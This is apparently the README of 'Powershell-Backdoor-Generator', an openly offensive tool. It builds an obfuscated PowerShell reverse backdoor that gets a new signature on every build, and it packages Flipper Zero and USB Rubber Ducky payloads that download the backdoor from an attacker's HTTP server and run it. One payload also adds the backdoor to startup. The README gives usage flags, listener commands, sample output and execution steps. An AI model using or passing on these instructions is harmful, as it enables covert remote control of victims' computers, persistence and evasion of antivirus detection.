Powershell-Backdoor-Generator is a reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every build. With the capabilties to create a Flipper Zero/ Hak5 USB Rubber ducky payload.

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

Powershell Backdoor Generator

options:
  -h, --help            show this help message and exit
  --ip-address IP_ADDRESS, -i IP_ADDRESS
                        IP Address to bind the backdoor too (default: 192.168.X.XX)
  --port PORT, -p PORT  Port for the backdoor to connect over (default: 4444)
  --random, -r          Randomizes the outputed backdoor's file name
  --out OUT, -o OUT     Specify the backdoor filename (relative file names)
  --verbose, -v         Show verbose output
  --delay DELAY         Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
  --flipper FLIPPER     Payload file for flipper zero (includes EOL conversion) (relative file name)
  --ducky               Creates an inject.bin for the http server
  --server-port SERVER_PORT
                        Port to run the HTTP server on (--server) (default: 8080)
  --payload PAYLOAD     USB Rubber Ducky/Flipper Zero backdoor payload to execute
  --list--payloads      List all available payloads
  -k KEYBOARD, --keyboard KEYBOARD
                        Keyboard layout for Bad Usb/Flipper Zero (default: us)
  -A, --actually-listen
                        Just listen for any backdoor connections
  -H, --listen-and-host
                        Just listen for any backdoor connections and host the backdoor directory

Standard backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file in the current working directory will be created called backdoor.ps1

Backdoor Execution

Tested on Windows 11, Windows 10 and Kali Linux

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted
┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1

Bad USB/ USB Rubber Ducky attacks

When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.

Payloads

  • Execute — Execute the backdoor
  • BindAndExecute — Place the backdoor in the users temp directory, bind the backdoor to startup and then execute it. (Requires Admin)

Flipper Zero Backdoor

Below will generate a file called powershell_backdoor.txt, which when triggered on the Flipper will fetch the backdoor from your computer over HTTP and execute it.

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1

Usb Rubber Ducky Backdoor

Below is a tutorial on how to generate an inject.bin file for the Hak5 USB Rubber ducky

 C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1
